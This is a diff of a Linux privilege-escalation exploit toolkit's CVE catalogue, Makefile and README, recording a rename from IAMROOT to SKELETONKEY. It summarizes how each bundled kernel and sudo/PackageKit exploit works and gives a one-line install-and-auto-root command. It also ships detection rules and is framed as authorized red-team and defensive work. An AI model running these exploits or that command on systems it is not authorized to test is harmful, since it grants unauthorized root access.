| CVE-2022-2588 | net/sched cls_route4 handle-zero dead UAF | LPE (kernel UAF in cls_route4 filter remove) | mainline 5.20 / 5.19.7 (Aug 2022) | `cls_route4` | 🟡 | Userns+netns reach, tc/ip dummy interface + route4 dangling-filter add/del, msg_msg kmalloc-1k spray, UDP classify drive to follow the dangling pointer, slabinfo delta witness. Stops at empirical UAF-fired signal; no leak→cred overwrite (per-kernel offsets refused). Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7. |
@@ -46,15 +77,21 @@ Status legend:
| CVE-2022-0492 | cgroup v1 `release_agent` privilege check in wrong namespace | LPE (host root from rootless container or unprivileged userns) | mainline 5.17 (Mar 2022) | `cgroup_release_agent` | 🟢 | Universal structural exploit — no per-kernel offsets, no race. unshare(user|mount|cgroup), mount cgroup v1 RDP controller, write release_agent → ./payload, trigger via notify_on_release. Ships auditd rules covering cgroupfs mount + release_agent writes. Kept as a portable "containers misconfigured" demo. |
| CVE-2023-0386 | overlayfs `copy_up` preserves setuid bit across mount-ns boundary | LPE (host root via setuid carrier from unprivileged mount) | mainline 5.11 / 6.2-rc6 (Jan 2023) | `overlayfs_setuid` | 🟢 | Distro-agnostic — places a setuid binary in an overlay lower, mounts via fuse-overlayfs userns trick, executes from upper to inherit the setuid bit + root euid. Branch backports tracked for 5.10.169 / 5.15.92 / 6.1.11 / 6.2.x. |
| CVE-2021-22555 | iptables xt_compat heap-OOB → cross-cache UAF | LPE (kernel R/W via 4-byte heap OOB write + msg_msg/sk_buff groom) | mainline 5.12 / 5.11.10 (Apr 2021) | `netfilter_xtcompat` | 🟡 | Hand-rolled `ipt_replace` blob + setsockopt(IPT_SO_SET_REPLACE) fires the 4-byte OOB, msg_msg spray in kmalloc-2k + sk_buff sidecar, MSG_COPY scan for cross-cache landing + slabinfo delta. Stops before the leak → modprobe_path overwrite chain (per-kernel offsets refused). Branch backports: 5.11.10 / 5.10.27 / 5.4.110 / 4.19.185 / 4.14.230 / 4.9.266 / 4.4.266. **Bug existed since 2.6.19 (2006).** Andy Nguyen's PGZ disclosure. |
| CVE-2017-7308 | AF_PACKET TPACKET_V3 integer overflow → heap write-where | LPE (CAP_NET_RAW via userns) | mainline 4.11 / 4.10.6 (Mar 2017) | `af_packet` | 🟡 | Konovalov's TPACKET_V3 overflow + 200-skb spray + best-effort cred race. Offset table (Ubuntu 16.04/4.4 + 18.04/4.15) + `IAMROOT_AFPACKET_OFFSETS` env override for other kernels. x86_64-only; ARM returns PRECOND_FAIL. Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49. |
| CVE-2017-7308 | AF_PACKET TPACKET_V3 integer overflow → heap write-where | LPE (CAP_NET_RAW via userns) | mainline 4.11 / 4.10.6 (Mar 2017) | `af_packet` | 🟡 | Konovalov's TPACKET_V3 overflow + 200-skb spray + best-effort cred race. Offset table (Ubuntu 16.04/4.4 + 18.04/4.15) + `SKELETONKEY_AFPACKET_OFFSETS` env override for other kernels. x86_64-only; ARM returns PRECOND_FAIL. Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49. |
| CVE-2022-0185 | legacy_parse_param fsconfig heap OOB → container-escape | LPE (cross-cache UAF → cred overwrite from rootless container) | mainline 5.16.2 (Jan 2022) | `fuse_legacy` | 🟡 | userns+mountns reach, fsopen("cgroup2") + double fsconfig SET_STRING fires the 4k OOB, msg_msg cross-cache groom in kmalloc-4k, MSG_COPY read-back detects whether the OOB landed in an adjacent neighbour. Stops before the m_ts overflow → MSG_COPY arbitrary read chain (scaffold present, no per-kernel offsets). **Container-escape angle** — relevant to rootless docker/podman/snap. Branch backports: 5.16.2 / 5.15.14 / 5.10.91 / 5.4.171. |
| CVE-2023-3269 | StackRot — maple-tree VMA-split UAF | LPE (kernel R/W via maple node use-after-RCU) | mainline 6.4-rc4 (Jul 2023) | `stackrot` | 🟡 | Two-thread race driver (MAP_GROWSDOWN + mremap rotation vs fork+fault) with cpu pinning + 3 s budget; kmalloc-192 spray for anon_vma/anon_vma_chain; race-iteration + signal breadcrumb. Honest reliability note in module header: **~<1% race-win/run on a vulnerable kernel** — the public PoC averages minutes-to-hours and needs a much wider VMA staging matrix to be reliable. Useful as a "is the maple-tree path reachable here?" probe. Branch backports: 6.4.4 / 6.3.13 / 6.1.37. |
| CVE-2020-14386 | AF_PACKET tpacket_rcv VLAN integer underflow | LPE (heap OOB write via crafted frame) | mainline 5.9 (Sep 2020) | `af_packet2` | 🟡 | Sibling of CVE-2017-7308; tp_reserve underflow + sendmmsg skb spray + slab-delta witness. PRIMITIVE-DEMO scope (no cred overwrite). Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235. Or Cohen's disclosure. Shares `iamroot-af-packet` audit key with CVE-2017-7308. |
| CVE-2020-14386 | AF_PACKET tpacket_rcv VLAN integer underflow | LPE (heap OOB write via crafted frame) | mainline 5.9 (Sep 2020) | `af_packet2` | 🟡 | Sibling of CVE-2017-7308; tp_reserve underflow + sendmmsg skb spray + slab-delta witness. PRIMITIVE-DEMO scope (no cred overwrite). Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235. Or Cohen's disclosure. Shares `skeletonkey-af-packet` audit key with CVE-2017-7308. |
| CVE-2023-32233 | nf_tables anonymous-set UAF | LPE (kernel UAF in nft_set transaction) | mainline 6.4-rc4 (May 2023) | `nft_set_uaf` | 🟡 | Sondej+Krysiuk. Hand-rolled nfnetlink batch (NEWTABLE → NEWCHAIN → NEWSET(ANON\|EVAL) → NEWRULE(lookup) → DELSET → DELRULE) drives the deactivation skip; cg-512 msg_msg cross-cache spray. Branch backports: 4.19.283 / 5.4.243 / 5.10.180 / 5.15.111 / 6.1.28 / 6.2.15 / 6.3.2. --full-chain forges freed-set with `set->data = kaddr`. |
| CVE-2023-4622 | AF_UNIX garbage-collector race UAF | LPE (slab UAF, plain unprivileged) | mainline 6.6-rc1 (Aug 2023) | `af_unix_gc` | 🟡 | Lin Ma. Two-thread race driver: SCM_RIGHTS cycle vs unix_gc trigger; kmalloc-512 (SLAB_TYPESAFE_BY_RCU) refill via msg_msg. **Widest deployment of any module — bug exists since 2.x.** No userns required. Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 / 5.15.130 / 6.1.51 / 6.5.0. |
| CVE-2022-25636 | nft_fwd_dup_netdev_offload heap OOB | LPE (kernel R/W via offload action[] OOB) | mainline 5.17 / 5.16.11 (Feb 2022) | `nft_fwd_dup` | 🟡 | Aaron Adams (NCC). NFT_CHAIN_HW_OFFLOAD chain + 16 immediates + fwd writes past action.entries[1]. msg_msg kmalloc-512 spray. Branch backports: 5.4.181 / 5.10.102 / 5.15.25 / 5.16.11. |
| CVE-2023-0179 | nft_payload set-id memory corruption | LPE (regs->data[] OOB R/W) | mainline 6.2-rc4 / 6.1.6 (Jan 2023) | `nft_payload` | 🟡 | Davide Ornaghi. NFTA_SET_DESC variable-length element + NFTA_SET_ELEM_EXPRESSIONS payload-set whose verdict.code drives the OOB. Dual cg-96 + 1k spray. Branch backports: 4.14.302 / 4.19.269 / 5.4.229 / 5.10.163 / 5.15.88 / 6.1.6. |
| CVE-TBD | Fragnesia (ESP shared-frag in-place encrypt) | LPE (page-cache write) | mainline TBD | `_stubs/fragnesia_TBD` | | Stub. Per `findings/audit_leak_write_modprobe_backups_2026-05-16.md`, requires CAP_NET_ADMIN in userns netns — may or may not be in-scope depending on target environment. |
| CVE-2021-3156 | sudo Baron Samedit — `sudoedit -s` heap overflow | LPE (userspace setuid sudo) | sudo 1.9.5p2 (Jan 2021) | `sudo_samedit` | 🟡 | Qualys Baron Samedit. Heap overflow via `sudoedit -s '\'` escaped-backslash parsing. Affects sudo 1.8.2 ≤ V ≤ 1.9.5p1. Heap-tuned exploit — may crash sudo on a mismatched layout. Ships auditd + sigma rules. |
| CVE-2021-33909 | Sequoia — `seq_file` size_t overflow → kernel stack OOB | LPE (kernel stack OOB write) | mainline 5.13.4 / 5.10.52 / 5.4.134 (Jul 2021) | `sequoia` | 🟡 | Qualys Sequoia. `size_t`-to-`int` conversion in `seq_file` drives an OOB write off the kernel stack via a deeply-nested directory mount. Primitive-only — fires the overflow + records a witness; no portable cred chain. Branch backports: 5.13.4 / 5.10.52 / 5.4.134. Ships auditd rule. |
| CVE-2023-22809 | sudoedit `EDITOR`/`VISUAL` `--` argv escape | LPE (userspace setuid sudoedit) | sudo 1.9.12p2 (Jan 2023) | `sudoedit_editor` | 🟢 | Structural argv-injection — an extra `--` in `EDITOR`/`VISUAL` makes setuid `sudoedit` open an attacker-chosen file as root. No kernel state, no offsets, no race. Affects sudo 1.8.0 ≤ V < 1.9.12p2. Ships auditd + sigma rules. |
| CVE-2023-2008 | vmwgfx DRM buffer-object size-validation OOB | LPE (kernel R/W via kmalloc-512 OOB) | mainline 6.3-rc6 (Apr 2023) | `vmwgfx` | 🟡 | vmwgfx DRM `bo` size-validation gap → OOB write in kmalloc-512. Affects 4.0 ≤ K < 6.3-rc6 on hosts with the `vmwgfx` module loaded (VMware guests). Primitive-only — fires the OOB + slab witness; no cred chain. Branch backports: 6.2.10 / 6.1.23. Ships auditd rule. |
| CVE-2026-31635 | DirtyDecrypt / DirtyCBC — rxgk missing-COW in-place decrypt | LPE (page-cache write into a setuid binary) | mainline Linux 7.0 (commit `a2567217ade970ecc458144b6be469bc015b23e5`) | `dirtydecrypt` | 🟡 | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Sibling of Copy Fail / Dirty Frag in the rxgk (AFS rxrpc encryption) subsystem. `fire()` sliding-window page-cache write, ~256 fires/byte; rewrites the first 120 bytes of `/usr/bin/su` with a setuid-shell ELF. detect() is version-pinned: kernels < 7.0 predate the vulnerable rxgk code (Debian: `<not-affected, vulnerable code not present>` for 5.10/6.1/6.12); kernels ≥ 7.0 have the fix. `--active` probe fires the primitive at a `/tmp` sentinel for empirical override. x86_64. |
| CVE-2026-46300 | Fragnesia — XFRM ESP-in-TCP `skb_try_coalesce` SHARED_FRAG loss | LPE (page-cache write into a setuid binary) | mainline 7.0.9; older Debian-stable branches still unfixed as of 2026-05-22 | `fragnesia` | 🟡 | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Latent bug exposed by the Dirty Frag fix (`f4c50a4034e6`). AF_ALG GCM keystream table + userns/netns + XFRM ESP-in-TCP splice trigger pair; rewrites the first 192 bytes of `/usr/bin/su`. Needs `CONFIG_INET_ESPINTCP` + unprivileged userns (the in-scope question the old `_stubs/fragnesia_TBD` raised — resolved: ships, reports PRECOND_FAIL when the userns gate is closed). detect() is version-pinned at 7.0.9; older branches that haven't backported yet are flagged VULNERABLE on the version check (override empirically via `--active`). PoC's ANSI TUI dropped in the port. x86_64. |
| CVE-2026-41651 | Pack2TheRoot — PackageKit `InstallFiles` TOCTOU | LPE (userspace D-Bus daemon → `.deb` postinst as root) | PackageKit 1.3.5 (commit `76cfb675`, 2026-04-22) | `pack2theroot` | 🟡 | **Ported from the public Vozec PoC, not yet VM-verified.** Two back-to-back `InstallFiles` D-Bus calls — first `SIMULATE` (polkit bypass + queues a GLib idle), then immediately `NONE` + malicious `.deb` (overwrites the cached flags before the idle fires). GLib priority ordering makes the overwrite deterministic, not a race. Disclosure by **Deutsche Telekom security**. Affects PackageKit 1.0.2 → 1.3.4 — default-enabled on Ubuntu Desktop, Debian, Fedora, Rocky/RHEL via Cockpit. `detect()` reads `VersionMajor/Minor/Micro` over D-Bus → high-confidence verdict (vs. precondition-only for dirtydecrypt/fragnesia). Debian-family only (PoC's built-in `.deb` builder). Needs `libglib2.0-dev` at build time; Makefile autodetects via `pkg-config gio-2.0` and falls through to a stub when absent. |
## Operations supported per module
@@ -86,6 +123,13 @@ Symbols: ✓ = supported, — = not applicable / no automated path.
| af_unix_gc | ✓ | ✓ (race) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd) |
| nft_fwd_dup | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd) |
| nft_payload | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd + sigma) |
| sudo_samedit | ✓ | ✓ (primitive) | — (upgrade sudo) | ✓ (crumb nuke) | ✓ (auditd + sigma) |
| sequoia | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (nested-tree + mount teardown) | ✓ (auditd) |
| sudoedit_editor | ✓ | ✓ | — (upgrade sudo) | ✓ (revert written file) | ✓ (auditd + sigma) |
| vmwgfx | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (log unlink) | ✓ (auditd) |
| dirtydecrypt | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) |
| fragnesia | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) |
| pack2theroot | ✓ (PK version via D-Bus) | ✓ (ported) | — (upgrade PackageKit ≥ 1.3.5) | ✓ (rm /tmp + `dpkg -r`) | ✓ (auditd + sigma) |
## Pipeline for additions
@@ -108,7 +152,7 @@ the relevant distro drops out of the "WORKING" list for that module.
## Why we exclude some things
- **0-days the maintainer found themselves**: those go through
responsible disclosure first, then enter IAMROOT after upstream patch
responsible disclosure first, then enter SKELETONKEY after upstream patch
- **kCTF VRP submissions in flight**: same as above; disclosure
before bundling
- **Hardware-specific side channels** (Spectre/Meltdown variants):
+108 -34
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@@ -1,15 +1,15 @@
# IAMROOT — top-level Makefile (Phase 1)
# SKELETONKEY — top-level Makefile (Phase 1)
#
# Builds one binary `iamroot` linked from:
# Builds one binary `skeletonkey` linked from:
# - core/ module interface + registry
# - modules/<f>/ one family per subdir, contributes objects to the
# final binary
# - iamroot.c top-level dispatcher
# - skeletonkey.c top-level dispatcher
#
# Each family is currently flat (Phase 1 keeps copy_fail_family's
# absorbed DIRTYFAIL source in modules/copy_fail_family/src/).
# Future families register the same way: add their register_* call to
# iamroot.c's main() and add their src dir to MODULE_DIRS below.
# skeletonkey.c's main() and add their src dir to MODULE_DIRS below.
CC ?= gcc
CFLAGS ?= -O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith \
@@ -17,126 +17,199 @@ CFLAGS ?= -O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith \
LDFLAGS ?=
BUILD := build
BIN := iamroot
BIN := skeletonkey
# core/
CORE_SRCS := core/registry.c core/kernel_range.c core/offsets.c core/finisher.c
CORE_SRCS := core/registry.c core/kernel_range.c core/offsets.c core/finisher.c core/host.c
CORE_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CORE_SRCS))
# Family: copy_fail_family
# All DIRTYFAIL .c files contribute; iamroot_modules.c is the bridge.
# All DIRTYFAIL .c files contribute; skeletonkey_modules.c is the bridge.
CFF_DIR := modules/copy_fail_family
CFF_SRCS := $(wildcard $(CFF_DIR)/src/*.c) $(CFF_DIR)/iamroot_modules.c
# Filter out the original dirtyfail.c (its main() conflicts with iamroot.c's main).
CFF_SRCS := $(wildcard $(CFF_DIR)/src/*.c) $(CFF_DIR)/skeletonkey_modules.c
# Filter out the original dirtyfail.c (its main() conflicts with skeletonkey.c's main).
CFF_SRCS := $(filter-out $(CFF_DIR)/src/dirtyfail.c, $(CFF_SRCS))
CFF_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CFF_SRCS))
# Family: dirty_pipe (single-CVE family, no shared infrastructure)
DP_DIR := modules/dirty_pipe_cve_2022_0847
DP_SRCS := $(DP_DIR)/iamroot_modules.c
DP_SRCS := $(DP_DIR)/skeletonkey_modules.c
DP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DP_SRCS))
# Family: entrybleed (single-CVE family, x86_64 only)
EB_DIR := modules/entrybleed_cve_2023_0458
EB_SRCS := $(EB_DIR)/iamroot_modules.c
EB_SRCS := $(EB_DIR)/skeletonkey_modules.c
EB_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(EB_SRCS))
# Family: pwnkit (userspace polkit bug, not kernel)
PK_DIR := modules/pwnkit_cve_2021_4034
PK_SRCS := $(PK_DIR)/iamroot_modules.c
PK_SRCS := $(PK_DIR)/skeletonkey_modules.c
PK_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PK_SRCS))
# Family: nf_tables (CVE-2024-1086)
NFT_DIR := modules/nf_tables_cve_2024_1086
NFT_SRCS := $(NFT_DIR)/iamroot_modules.c
NFT_SRCS := $(NFT_DIR)/skeletonkey_modules.c
NFT_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NFT_SRCS))
# Family: overlayfs (CVE-2021-3493)
OVL_DIR := modules/overlayfs_cve_2021_3493
OVL_SRCS := $(OVL_DIR)/iamroot_modules.c
OVL_SRCS := $(OVL_DIR)/skeletonkey_modules.c
OVL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(OVL_SRCS))
# Family: cls_route4 (CVE-2022-2588)
CR4_DIR := modules/cls_route4_cve_2022_2588
CR4_SRCS := $(CR4_DIR)/iamroot_modules.c
CR4_SRCS := $(CR4_DIR)/skeletonkey_modules.c
CR4_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CR4_SRCS))
# Family: dirty_cow (CVE-2016-5195) — requires -pthread
DCOW_DIR := modules/dirty_cow_cve_2016_5195
DCOW_SRCS := $(DCOW_DIR)/iamroot_modules.c
DCOW_SRCS := $(DCOW_DIR)/skeletonkey_modules.c
DCOW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DCOW_SRCS))
# Family: ptrace_traceme (CVE-2019-13272)
PTM_DIR := modules/ptrace_traceme_cve_2019_13272
PTM_SRCS := $(PTM_DIR)/iamroot_modules.c
PTM_SRCS := $(PTM_DIR)/skeletonkey_modules.c
PTM_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PTM_SRCS))
# Family: netfilter_xtcompat (CVE-2021-22555)
NXC_DIR := modules/netfilter_xtcompat_cve_2021_22555
NXC_SRCS := $(NXC_DIR)/iamroot_modules.c
NXC_SRCS := $(NXC_DIR)/skeletonkey_modules.c
NXC_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NXC_SRCS))
# Family: af_packet (CVE-2017-7308)
AFP_DIR := modules/af_packet_cve_2017_7308
AFP_SRCS := $(AFP_DIR)/iamroot_modules.c
AFP_SRCS := $(AFP_DIR)/skeletonkey_modules.c
AFP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AFP_SRCS))
# Family: fuse_legacy (CVE-2022-0185)
FUL_DIR := modules/fuse_legacy_cve_2022_0185
FUL_SRCS := $(FUL_DIR)/iamroot_modules.c
FUL_SRCS := $(FUL_DIR)/skeletonkey_modules.c
FUL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(FUL_SRCS))
# Family: stackrot (CVE-2023-3269)
STR_DIR := modules/stackrot_cve_2023_3269
STR_SRCS := $(STR_DIR)/iamroot_modules.c
STR_SRCS := $(STR_DIR)/skeletonkey_modules.c
STR_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(STR_SRCS))
# Family: af_packet2 (CVE-2020-14386) — same family as af_packet
AFP2_DIR := modules/af_packet2_cve_2020_14386
AFP2_SRCS := $(AFP2_DIR)/iamroot_modules.c
AFP2_SRCS := $(AFP2_DIR)/skeletonkey_modules.c
AFP2_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AFP2_SRCS))
# Family: cgroup_release_agent (CVE-2022-0492)
CRA_DIR := modules/cgroup_release_agent_cve_2022_0492
CRA_SRCS := $(CRA_DIR)/iamroot_modules.c
CRA_SRCS := $(CRA_DIR)/skeletonkey_modules.c
CRA_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CRA_SRCS))
# Family: overlayfs_setuid (CVE-2023-0386) — joins overlayfs family
OSU_DIR := modules/overlayfs_setuid_cve_2023_0386
OSU_SRCS := $(OSU_DIR)/iamroot_modules.c
OSU_SRCS := $(OSU_DIR)/skeletonkey_modules.c
OSU_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(OSU_SRCS))
# Family: nft_set_uaf (CVE-2023-32233)
NSU_DIR := modules/nft_set_uaf_cve_2023_32233
NSU_SRCS := $(NSU_DIR)/iamroot_modules.c
NSU_SRCS := $(NSU_DIR)/skeletonkey_modules.c
NSU_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NSU_SRCS))
# Family: af_unix_gc (CVE-2023-4622)
AUG_DIR := modules/af_unix_gc_cve_2023_4622
AUG_SRCS := $(AUG_DIR)/iamroot_modules.c
AUG_SRCS := $(AUG_DIR)/skeletonkey_modules.c
AUG_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(AUG_SRCS))
# Family: nft_fwd_dup (CVE-2022-25636)
NFD_DIR := modules/nft_fwd_dup_cve_2022_25636
NFD_SRCS := $(NFD_DIR)/iamroot_modules.c
NFD_SRCS := $(NFD_DIR)/skeletonkey_modules.c
NFD_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NFD_SRCS))
# Family: nft_payload (CVE-2023-0179)
NPL_DIR := modules/nft_payload_cve_2023_0179
NPL_SRCS := $(NPL_DIR)/iamroot_modules.c
NPL_SRCS := $(NPL_DIR)/skeletonkey_modules.c
NPL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NPL_SRCS))
SAM_DIR := modules/sudo_samedit_cve_2021_3156
SAM_SRCS := $(SAM_DIR)/skeletonkey_modules.c
SAM_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SAM_SRCS))
SEQ_DIR := modules/sequoia_cve_2021_33909
SEQ_SRCS := $(SEQ_DIR)/skeletonkey_modules.c
SEQ_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SEQ_SRCS))
SUE_DIR := modules/sudoedit_editor_cve_2023_22809
SUE_SRCS := $(SUE_DIR)/skeletonkey_modules.c
SUE_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SUE_SRCS))
VMW_DIR := modules/vmwgfx_cve_2023_2008
VMW_SRCS := $(VMW_DIR)/skeletonkey_modules.c
VMW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(VMW_SRCS))
# Family: dirtydecrypt (CVE-2026-31635) — rxgk page-cache write
DDC_DIR := modules/dirtydecrypt_cve_2026_31635
DDC_SRCS := $(DDC_DIR)/skeletonkey_modules.c
DDC_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DDC_SRCS))
# Family: fragnesia (CVE-2026-46300) — XFRM ESP-in-TCP page-cache write
FGN_DIR := modules/fragnesia_cve_2026_46300
FGN_SRCS := $(FGN_DIR)/skeletonkey_modules.c
FGN_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(FGN_SRCS))
# Family: pack2theroot (CVE-2026-41651) — PackageKit TOCTOU userspace LPE.
# Needs GLib/GIO for D-Bus; the build autodetects via `pkg-config gio-2.0`.
# When absent (e.g. no libglib2.0-dev on the build host), the module
# compiles as a stub that returns PRECOND_FAIL with a hint to install
# the dev package and rebuild.
P2TR_DIR := modules/pack2theroot_cve_2026_41651
P2TR_SRCS := $(P2TR_DIR)/skeletonkey_modules.c
P2TR_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(P2TR_SRCS))
P2TR_GIO_OK := $(shell pkg-config --exists gio-2.0 2>/dev/null && echo 1 || echo 0)
ifeq ($(P2TR_GIO_OK),1)
P2TR_CFLAGS := $(shell pkg-config --cflags gio-2.0) -DPACK2TR_HAVE_GIO
P2TR_LIBS := $(shell pkg-config --libs gio-2.0)
else
P2TR_CFLAGS :=
P2TR_LIBS :=
endif
# Per-object CFLAGS for the pack2theroot translation unit (GLib include
# paths). Target-specific vars are scoped to this object's recipe.
$(P2TR_OBJS): CFLAGS += $(P2TR_CFLAGS)
# Top-level dispatcher
TOP_OBJ := $(BUILD)/iamroot.o
TOP_OBJ := $(BUILD)/skeletonkey.o
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) $(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) $(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) $(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS)
# All module objects in one var so both the main binary and the test
# binary can re-use the list without duplicating the long enumeration.
MODULE_OBJS := $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) \
$(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) \
$(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) \
$(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS) \
$(SAM_OBJS) $(SEQ_OBJS) $(SUE_OBJS) $(VMW_OBJS) \
$(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS)
.PHONY: all clean debug static help
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(MODULE_OBJS)
# Tests — `make test` builds and runs the detect() unit-test harness.
# Links against the same module objects as the main binary minus the
# top-level dispatcher (which provides main(); the test has its own).
TEST_DIR := tests
TEST_SRCS := $(TEST_DIR)/test_detect.c
TEST_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(TEST_SRCS))
TEST_BIN := skeletonkey-test
TEST_ALL_OBJS := $(TEST_OBJS) $(CORE_OBJS) $(MODULE_OBJS)
.PHONY: all clean debug static help test
all: $(BIN)
$(BIN): $(ALL_OBJS)
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS)
$(TEST_BIN): $(TEST_ALL_OBJS)
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS)
test: $(TEST_BIN)
@echo "[*] running test suite ($(TEST_BIN))"
./$(TEST_BIN)
# Generic compile: any .c → corresponding .o under build/
$(BUILD)/%.o: %.c
@@ -150,13 +223,14 @@ static: LDFLAGS += -static
static: clean $(BIN)
clean:
rm -rf $(BUILD) $(BIN)
rm -rf $(BUILD) $(BIN) $(TEST_BIN)
help:
@echo "Targets:"
@echo " make build optimized iamroot binary"
@echo " make build optimized skeletonkey binary"
@echo " make debug build with -O0 -g3"
@echo " make static build a fully static binary"
@echo " make test build + run the detect() unit test suite"
@echo " make clean remove build artifacts"
@echo ""
@echo "Per-module (legacy) — not built by default:"
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@@ -1,164 +1,224 @@
# IAMROOT
# SKELETONKEY
> A curated, actively-maintained corpus of Linux kernel LPE exploits —
> bundled with their detection signatures, patch status, and version
> ranges. Run it on a system you own (or are authorized to test) and
> it tells you which historical and recent CVEs that system is still
> vulnerable to, and — with explicit confirmation — gets you root.
[![Latest release](https://img.shields.io/github/v/release/KaraZajac/SKELETONKEY?label=release)](https://github.com/KaraZajac/SKELETONKEY/releases/latest)
[![License: MIT](https://img.shields.io/badge/license-MIT-blue.svg)](LICENSE)
[![Modules](https://img.shields.io/badge/modules-28%20verified%20%2B%203%20ported-brightgreen.svg)](CVES.md)
[![Platform: Linux](https://img.shields.io/badge/platform-linux-lightgrey.svg)](#)
```
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> **One curated binary. 28 verified Linux LPE exploits, 2016 → 2026
> (+3 ported-but-unverified). Detection rules in the box. One command
> picks the safest one and runs it.**
```bash
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
&& skeletonkey --auto --i-know
```
> ⚠️ **Authorized testing only.** IAMROOT is a research and red-team
> tool. By using it you assert you have explicit authorization to test
> the target system. See [`docs/ETHICS.md`](docs/ETHICS.md).
> ⚠️ **Authorized testing only.** SKELETONKEY runs real exploits. By
> using it you assert you have explicit authorization to test the
> target system. See [`docs/ETHICS.md`](docs/ETHICS.md).
## Why use this
Most Linux privesc tooling is broken in one of three ways:
- **`linux-exploit-suggester` / `linpeas`** — tell you what *might*
work, run nothing
- **`auto-root-exploit` / `kernelpop`** — bundle exploits but ship
no detection signatures and went stale years ago
- **Per-CVE PoC repos** — one author, one distro, abandoned within
months
SKELETONKEY is one binary, actively maintained, with detection rules
for every CVE in the bundle — same project for red and blue teams.
## Who it's for
| Audience | What you get |
|---|---|
| **Red team / pentesters** | One tested binary. `--auto` ranks vulnerable modules by safety and runs the safest. Honest scope reporting — never claims root it didn't actually get. |
| **Sysadmins** | `skeletonkey --scan` (no sudo needed) tells you which boxes still need patching. Fleet-scan tool included. JSON output for CI gates ([schema](docs/JSON_SCHEMA.md)). |
| **Blue team / SOC** | Auditd + sigma + yara + falco rules for every CVE. `--detect-rules --format=auditd \| sudo tee …` ships SIEM coverage in one command. |
| **CTF / training** | Reproducible LPE environment with public CVEs across a 10-year timeline. Each module documents the bug, the trigger, and the fix. |
## Corpus at a glance
**28 verified modules** spanning the 2016 → 2026 LPE timeline, plus
**3 ported-but-unverified** modules (`dirtydecrypt`, `fragnesia`,
`pack2theroot` — see note below):
| Tier | Count | What it means |
|---|---|---|
| 🟢 Full chain | **14** | Lands root (or its canonical capability) end-to-end. No per-kernel offsets needed. |
| 🟡 Primitive | **14** | Fires the kernel primitive + grooms the slab + records a witness. Default returns `EXPLOIT_FAIL` honestly. Pass `--full-chain` to engage the shared `modprobe_path` finisher (needs offsets — see [`docs/OFFSETS.md`](docs/OFFSETS.md)). |
